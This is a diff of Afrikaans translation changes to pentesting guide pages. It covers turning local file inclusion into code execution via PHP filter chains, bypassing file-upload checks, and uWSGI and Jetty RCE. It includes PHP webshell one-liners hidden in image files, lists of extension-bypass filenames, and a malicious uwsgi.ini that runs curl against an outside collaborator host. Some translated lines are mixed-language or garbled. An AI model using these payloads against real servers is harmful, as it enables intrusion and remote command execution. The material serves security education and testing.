-As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar het met file_uploads = on, kan jy RCE kry:
+As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar met file_uploads = on, kan jy RCE kry:
 
 
 {{#ref}}
 lfi2rce-via-phpinfo.md
 {{#endref}}
 
-### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
+### Deur compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 
-As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file BUT die **server** is **checking** if the **file to be included has PHP marks**, kan jy probeer om daardie kontrole te **bypass** met hierdie **Race Condition**:
+As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** van die temp-lêer, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **bypass that check** met hierdie **Race Condition**:
 
 
 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 {{#endref}}
 
-### Via eternal waiting + bruteforce
+### Deur eternal waiting + bruteforce
 
-As jy die LFI kan misbruik om **upload temporary files** en die server se PHP-uitvoering te laat **hang**, kan jy daarna **brute force filenames during hours** om die temporêre lêer te vind:
+As jy die LFI kan misbruik om **upload temporary files** en die bediener die PHP-uitvoering laat **hang**, kan jy daarna ure lank **brute force filenames during hours** om die tydelike lêer te vind:
 
 
 {{#ref}}
@@ -655,10 +657,10 @@ lfi2rce-via-eternal-waiting.md
 
 ### Na Fatal Error
 
-If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
+As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
 
 **Ek weet nie hoe dit nuttig is nie, maar dit kan wees.**\
-_Selfs as jy 'n PHP Fatal Error veroorsaak, word PHP temporêre lêers wat opgelaai is verwyder._
+_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 
@@ -671,6 +673,7 @@ _Selfs as jy 'n PHP Fatal Error veroorsaak, word PHP temporêre lêers wat opgel
 - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
 - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
 - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
 {{#file}}
 EN-Local-File-Inclusion-1.pdf

src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md

@@ -2,38 +2,39 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Intro
 
-Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** kan genereer vir die insluiting **sonder om dit** in 'n lêer te skryf.
+## Inleiding
 
-Basies is die doel van die skrif om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedecodeer** sal word om die gewenste payload te verskaf wat deur `include` **geïterpreteer** sal word.
+Hierdie [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud te genereer** as uitgang. Dit beteken basies dat jy **arbitrêre php code kan genereer** vir die `include` **sonder om dit in 'n lêer te skryf**.
 
-Die basisse om dit te doen is:
+Die doel van die skrip is om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedekodeer** sal word en die gewenste payload voorsien wat deur `include` **geinterpreteer** sal word.
 
-- `convert.iconv.UTF8.CSISO2022KR` sal altyd `\x1b$)C` aan die string voorafgaan
-- `convert.base64-decode` is uiters verdraagsaam, dit sal basies net enige karakters wat nie geldige base64 is, ignoreer. Dit gee 'n paar probleme as dit onverwagte "=" vind, maar dit kan verwyder word met die `convert.iconv.UTF8.UTF7` filter.
+Die beginsels om dit te doen is:
+
+- `convert.iconv.UTF8.CSISO2022KR` sal altyd `\x1b$)C` vooraan by die string voeg
+- `convert.base64-decode` is uiters tolerant; dit sal basies alle karakters ignoreer wat nie geldige Base64 is nie. Dit gee probleme as dit onverwagte "=" vind, maar daardie kan verwyder word met die `convert.iconv.UTF8.UTF7` filter.
 
 Die lus om arbitrêre inhoud te genereer is:
 
-1. voeg `\x1b$)C` aan ons string vooraf soos hierbo beskryf
-2. pas 'n ketting van iconv omskakelings toe wat ons aanvanklike base64 intak laat en die deel wat ons net voorafgevoeg het, omskakel na 'n string waar die enigste geldige base64 karakter die volgende deel van ons base64-gecodeerde php kode is
-3. base64-decode en base64-encode die string wat enige rommel tussenin sal verwyder
-4. Gaan terug na 1 as die base64 wat ons wil konstrueer nog nie klaar is nie
-5. base64-decode om ons php kode te kry
+1. voeg `\x1b$)C` vooraan by ons string soos hierbo beskryf
+2. pas 'n ketting van iconv-omsettings toe wat ons aanvanklike Base64 onaangeraak laat en die deel wat ons net voorafgevoeg het omskakel na 'n string waar die enigste geldige Base64-karakter die volgende deel van ons Base64-geënkodeerde php code is
+3. Base64-dekodeer en Base64-enkodeer die string wat enige gemors tussenin sal verwyder
+4. gaan terug na 1 as die Base64 wat ons wil konstrueer nog nie klaar is nie
+5. Base64-dekodeer om ons php code te kry
 
 > [!WARNING]
-> **Insluitings** doen gewoonlik dinge soos **om ".php" aan die einde** van die lêer toe te voeg, wat die uitbuiting hiervan moeilik kan maak omdat jy 'n .php lêer met 'n inhoud moet vind wat nie die uitbuiting doodmaak nie... of jy **kan net `php://temp` as hulpbron gebruik** omdat dit **enigiets in die naam kan hê** (soos +".php") en dit sal steeds die uitbuiting laat werk!
+> **Includes** doen gewoonlik dinge soos **om ".php" aan die einde by te voeg** van die lêer, wat die uitbuiting moeilik kan maak omdat jy 'n .php-lêer met 'n inhoud sou moet vind wat die exploit nie laat werk nie... of jy **kan net `php://temp` as resource gebruik** omdat dit **alles aan die naam aangeheg kan hê** (lie +".php") en dit sal steeds toelaat dat die exploit werk!
 
-## Hoe om ook agtervoegsels by die resultaatdata te voeg
+## Hoe om ook agtervoegsels by die resulterende data te voeg
 
-[**Hierdie skrywe verduidelik**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels by die resultaatstring te voeg. Dit is wonderlik in die geval waar jy die uitvoer in 'n spesifieke formaat moet hê (soos json of dalk om 'n paar PNG magiese bytes by te voeg)
+[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels by die resulterende string te voeg. Dit is handig as jy die output 'n spesifieke formaat nodig het (soos json of dalk om PNG magic bytes by te voeg)
 
 ## Outomatiese Gereedskap
 
 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
 - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(kan agtervoegsels byvoeg)**
 
-## Volledige skrif
+## Volledige skrip
 ```python
 import requests
 
@@ -95,7 +96,7 @@ print(r.text)
 ```
 ### Verbeterings
 
-Die vorige skrip is beperk tot die base64 karakters wat nodig is vir daardie payload. Daarom het ek my eie skrip geskep om **bruteforce al die base64 karakters**:
+Die vorige script is beperk tot die base64-karakters wat vir daardie payload nodig is. Daarom het ek my eie script geskep om **bruteforce** te doen op al die base64-karakters:
 ```php
 conversions = {
 '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@@ -164,7 +165,7 @@ conversions = {
 '=': ''
 }
 ```
-Hier is die **script** om kodering te verkry wat elke b64 letter genereer:
+Hier is die **script** om enkoderinge te kry wat elke b64-letter genereer:
 ```php
 <?php
 
@@ -253,6 +254,7 @@ find_vals($init);
 ## Meer Verwysings
 
 - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/file-upload/README.md

@@ -1,13 +1,13 @@
-# File Upload
+# Lêeroplaai
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## File Upload General Methodology
+## Algemene metodologie vir lêeroplaai
 
-Ander nuttige uitbreidings:
+Other useful extensions:
 
 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
-- **Werk in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
+- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
 - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@@ -15,13 +15,13 @@ Ander nuttige uitbreidings:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
-### Bypass file extensions checks
+### Om lêeruitbreidingkontroles te omseil
 
-1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
-2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
+1. Indien van toepassing, **kontroleer** die **vorige uitbreidings**. Probeer dit ook met **hoofdletters**: _pHp, .pHP5, .PhAr ..._
+2. _Kontroleer **die toevoeging van 'n geldige uitbreiding voor** die uitvoeringsuitbreiding (gebruik ook die vorige uitbreidings):_
 - _file.png.php_
 - _file.png.Php5_
-3. Probeer om **spesiale karakters aan die einde** toe te voeg. Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let daarop dat jy ook die **vorige** genoem **uitbreidings** kan probeer_)
+3. Probeer om **spesiale karakters aan die einde** te voeg. Jy kan Burp gebruik om alle **ascii** en **Unicode** karakters te **bruteforce**. (_Let wel dat jy ook die **vorige** genoemde **uitbreidings** kan probeer_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@@ -31,7 +31,7 @@ Ander nuttige uitbreidings:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
+4. Probeer om die beskerming te omseil deur die server-side **uitbreiding-parser te mislei** met tegnieke soos **dubbelslag** van die **uitbreiding** of deur **rommel** data (**null** bytes) tussen uitbreidings in te voeg. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -40,75 +40,75 @@ Ander nuttige uitbreidings:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole:
+5. Voeg **nog 'n laag uitbreidings** by die vorige kontrole:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met die uitbreiding **_**.php**_**, maar** nie noodwendig eindig in .php** sal kode uitvoer):
+6. Probeer om die **uitvoer-uitbreiding voor die geldige uitbreiding** te plaas en hoop dat die server verkeerd gekonfigureer is. (nuttig om Apache miskonfigurasies uit te buit waar alles met uitbreiding **.php**, maar nie noodwendig eindigend in .php nie, kode sal uitvoer):
 - _ex: file.php.png_
-7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
-8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
+7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonteken ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate uitbreiding. Gevolglik sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. "file.asax:.jpg”). Hierdie lêer kan later gewysig word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan die byvoeging van 'n puntkarakter na hierdie patroon ook nuttig wees om verdere beperkings te omseil (.bv. "file.asp::$data.”)
+8. Probeer om die lêernaamlimiete te breek. Die geldige uitbreiding word afgekap en die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
 
 ```
-# Linux maksimum 255 bytes
+# Linux maximum 255 bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by
-# Laai die lêer op en kontroleer die antwoord hoeveel karakters dit toelaat. Laat ons sê 236
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
+# Upload the file and check response how many characters it alllows. Let's say 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Maak die payload
+# Make the payload
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
-### Bypass Content-Type, Magic Number, Compression & Resizing
+### Oorkom Content-Type, Magic Number, Kompressie & Hergroot
 
-- Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **header** in te stel op: _image/png_ , _text/plain , application/octet-stream_
+- Omskakel Content-Type kontroles deur die **waarde** van die **Content-Type** **header** te stel na: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
+- Omskakel **magic number** kontroles deur aan die begin van die lêer die **bytes van 'n regte beeld** by te voeg (verwarring van die _file_ command). Of plaas die shell binne die **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` of jy kan ook **die payload direk** in 'n beeld invoeg:\
+`\` of jy kan die payload ook **direk in 'n beeld inbring**:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
-- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
-- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroting oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
-- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
+- As **kompressie op jou beeld toegepas word**, byvoorbeeld deur standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
+- Die webblad kan ook die **beeld hergroot**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
+- 'n Ander tegniek om 'n payload te maak wat **'n beeld-herstegrooting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
-### Other Tricks to check
+### Ander truuks om te kontroleer
 
-- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
-- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer.
-- **Mogelijke Inligting openbaar**:
-1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op
-2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan**
-3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
-4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
-5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
-6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
-- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
+- Vind 'n kwetsbaarheid om die reeds opgelaaide lêer te **hernoem** (om die uitbreiding te verander).
+- Vind 'n **Local File Inclusion** kwetsbaarheid om die backdoor uit te voer.
+- **Moontlike inligtingsvrystelling**:
+1. Laai **verskeie kere** (en op **dieselfde tyd**) dieselfde lêer met dieselfde naam op
+2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat reeds bestaan
+3. Oplaai 'n lêer met **"." , ".." , of "…" as sy naam. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in "/www/uploads/" stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" gids skep.
+4. Laai 'n lêer op wat nie maklik uitgevee kan word nie soos **"…:.jpg”** op **NTFS**. (Windows)
+5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows)
+6. Laai 'n lêer op in **Windows** met **gereserveerde** (verbode) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
+- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer geopen word.
 
-### Special extension tricks
+### Spesiale ekstensie-truuks
 
-As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+As jy probeer om lêers na 'n **PHP server** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+As jy probeer om lêers na 'n **ASP server** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
+Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php-lêer** (uitvoer dit met php, of inclui dit binne 'n script...)
 
-Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
+Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net bedoel is om **invoer te importeer**, so, op 'n tydstip, kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
 
 ## **Jetty RCE**
 
-As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
+As jy 'n XML-lêer in 'n Jetty server kan oplaai, kan jy [RCE bekom omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, soos in die volgende prent getoon, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
 ## **uWSGI RCE**
 
-Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as 'n mens die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
+Remote Command Execution (RCE) kwesbaarhede kan in uWSGI servers uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaksis om "magic" veranderlikes, plaashouers en operateurs in te sluit. Die '@' operateur, gebruik as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Van die verskeie ondersteunende skemas in uWSGI is die "exec" skema besonder kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
 
-Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
+Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer:
 ```ini
 [uwsgi]
 ; read from a symbol
@@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ongeluk of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word.
+Die uitvoering van die payload gebeur tydens die ontleding van die konfigurasielêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses óf herbegin word (moontlik ná 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
 
-Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed.
+Dit is noodsaaklik om die los aard van uWSGI se konfigurasielêer-ontleding te verstaan. Spesifiek kan die genoemde payload in 'n binaire lêer (soos 'n beeld of PDF) ingesit word, wat die omvang van moontlike exploitation verder vergroot.
 
-## **wget Lêer Laai/SSRF Trick**
+## **wget Lêeroplaai/SSRF Truuk**
 
-In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
-Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer met die naam "A"\*232+".php"+".gif" **aflaai**, hierdie lêernaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
